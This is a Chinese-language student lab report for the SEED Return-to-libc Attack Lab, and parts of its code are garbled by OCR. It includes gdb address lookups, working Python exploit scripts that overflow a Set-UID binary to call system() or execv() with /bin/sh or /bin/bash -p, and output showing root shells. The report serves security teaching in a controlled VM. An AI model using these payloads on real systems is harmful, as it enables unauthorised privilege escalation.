网络空间安全实验

Return-to-libc Attack Lab

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Task 1: Finding out the Addresses of libc Functions

```
输入 make, 对 retlib.c 文件进行编译,再将其程序设为 Set-UID 特权程序。

[07/15/21] seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[07/15/21] seed@VM:~/.../Labsetup$ ■

通过 gdb 调试获得 system 函数和 exit 函数的地址:

Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
[07/15/21] seed@VM:~/.../Labsetup$ ■
```

Task 2: Putting the shell string in the memory

新加入环境变量 MYSHELL:

```
[07/15/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh [07/15/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL MYSHELL=/bin/sh [07/15/21]seed@VM:~/.../Labsetup$ 编写代码如下:
```

编译运行,得到环境变量 MYSHELL 地址:

```
[07/15/21]seed@VM:~/.../Labsetup$ prtenv
ffffd412
```

在 retlib.c 文件的 main 函数中加入同样的上述代码,编译运行得到:

```
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main(): 0xffffcdb0
Input size: 0
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
```

这说明这两个程序的环境变量的地址一样。

Task 3: Launching the Attack

运行 retlib 程序,得到以下地址:

```
[07/15/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdb0
Input size: 0
Address of buffer[] inside bof(): 0xffffcd80
Frame Pointer value inside bof(): 0xffffcd98
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

0xffffcd98-0xffffcd80=24, 所以返回地址从 28 开始, exit 函数地址在 32, 函数 参数地址在 36。

再根据之前得到 system, exit 函数地址,以及环境变量 MYSHELL 地址,修改 exploit.py 如下:

```
1#!/usr/bin/env python3
2 import sys
4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
7X = 36
8 sh addr = 0xffffd412  # The address of "/bin/sh"
9 content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
10
11Y = 28
12 system addr = 0xf7e12420 # The address of system()
13 content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
15 Z = 32
16 exit addr = 0xf7e04f80 # The address of exit()
17 content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
21 f.write(content)
```

```
编译运行 exploit/py,再执行 retlib 程序,得到结果如下:
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main(): 0xffffcdac
Input size: 300
Address of buffer[] inside bof(): 0xffffcd70
Frame Pointer value inside bof(): 0xffffcd88
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
```

成功获得 root 权限 shell,输入 id,可看到 euid=0,为 root。

Task 3 Attack variation 1:

修改 exploit.py 脚本如下:

```
1#!/usr/bin/env python3
 2 import sys
 4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
 7X = 36
 8 \text{ sh addr} = 0 \times ffffd412
                                # The address of "/bin/sh"
 9 content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
10
11Y = 28
                                # The address of system()
12 \text{ system addr} = 0 \times f7e12420
13 content[Y:Y+4] = (system addr).to bytes(4,byteorder='little')
14
15 \# Z = 32
16 \# \text{exit} \text{ addr} = 0 \times f7 = 0.4 f80
                                 # The address of exit()
17 #content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
21 f.write(content)
再次编译 python 脚本, 执行 retlib 程序, 结果如下:
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
ffffd412
Address of input[] inside main(): 0xffffcdac
Input size: 300
Address of buffer[] inside bof(): 0xffffcd70
Frame Pointer value inside bof(): 0xffffcd88
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```

攻击成功! 成功获得 root 权限的 shell!

```
Task 3 Attack variation 2:
```

```
|[07/15/21]seed@VM:~/.../Labsetup$ mv retlib newretlib
[07/15/21]seed@VM:~/.../Labsetup$ ls
badfile
            Makefile
                       peda-session-retlib.txt
                                               prtenv.c
exploit.pv
           newretlib
                      prtenv
                                                retlib.c
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ newretlib
ffffd40c
Address of input[] inside main(): 0xffffcd9c
Input size: 300
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
zsh:1: command not found: h
[07/15/21]seed@VM:~/.../Labsetup$
```

将 retlib 的程序名改为 newretlib, 再次进行攻击, 攻击失败。

环境变量保存在程序的栈中,但在环境变量被压入栈之前,首先被压入栈中的是程序名称。因此,程序名称的长度将影响环境变量在内存中的位置。

Task 4: Defeat Shell's countermeasure

添加环境环境变量 MYBASH 和 MYP。

```
[07/15/21]seed@VM:~/.../Labsetup$ export MYBASH="/bin/bash" [07/15/21]seed@VM:~/.../Labsetup$ export MYP="-p" [07/15/21]seed@VM:~/.../Labsetup$
```

修改 prtenv. c 如下, 重新进行编译:

```
1#include <stdio.h>
 2 #include <stdlib.h>
 3 void main()
 4 {
 5
          char* shell = getenv("MYBASH");
 6
          if(shell)
 7
                   printf("%x\n", (unsigned int) shell);
 8
          char* p = getenv("MYP");
 9
          if(p)
                   printf("%x\n", (unsigned int) p);
10
11 }
```

执行得到 MYBASH 和 MYP 的地址如下:

```
[07/15/21]seed@VM:~/.../Labsetup$ prtenv
ffffde66
ffffd463
```

再使用 gdb 调试得到 execv 函数地址如下:

```
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ ■
```

由实验手册可知, execv 函数的参数有两个,第一个为"/bin/bash",第二个为 char 数组 argv 的指针。

修改 exploit. py 如下:

1#!/usr/bin/env python3

2 import sys

```
4# Fill content with non-zero values
 5 content = bytearray(0xaa for i in range(300))
7 input addr = 0xffffcd90
8p \ addr = 0xffffd463
10 X = 36
11 sh addr = 0xffffde66
                           # The address of "/bin/bash"
12 content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
13 content[X+4:X+8] = (input addr+100).to bytes(4,byteorder='little')
15 content[100:104] = (sh addr).to bytes(4,byteorder='little')
16 content[104:108] = (p addr).to bytes(4,byteorder='little')
17 content[108:112] = (0 \times 000000000).to bytes(4,byteorder='little')
19
20 Y = 28
21 system addr = 0xf7e994b0
                           # The address of execv()
22 content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
24Z = 32
25 \text{ exit addr} = 0 \times f7 = 0.4 f80
                           # The address of exit()
26 content[Z:Z+4] = (exit addr).to bytes(4,byteorder='little')
28 # Save content to a file
29 with open("badfile", "wb") as f:
30 f.write(content)
input addr 为栈头的地址, p addr 为 MYP 的地址, sh addr 是 MYBASH 的地址,
system addr 为 execv 函数的地址, exit addr 为 exit 函数的地址
   100 到 112 位置构建了一个数组即 argv[0] = "/bin/bash"
argv[1] = "-p, argv[2] = NULL.
   再在 X+4 位置即 40, 填入 input addr+100 即指向 argv 的指针地址。
   编译执行 exploit.py, 执行 retlib 程序, 结果如下:
[07/15/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/15/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcd90
Input size: 300
Address of buffer[] inside bof(): 0xffffcd60
Frame Pointer value inside bof(): 0xffffcd78
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
bash-5.0#
   攻击成功!
```

实验总结

本次实验我了解到了 return to libc 攻击的原理以及攻击方法。

在 return-to-libc 攻击中,通过改变返回地址,攻击者能够使目标程序跳转到已经加载到内存的 libc 库中的函数。system()函数是一个好的选择。如果攻击者能够跳转到这个函数,使它执行 system("/bin/sh"),这将会产生一个root shell。这个攻击最主要是找到 system()函数存放参数的位置,使得当进入到 system()函数之后,system()函数能够正确获取指令字符串参数。

当使用 dash, system()函数无法攻击成功时,可换用 execv()函数进行攻击。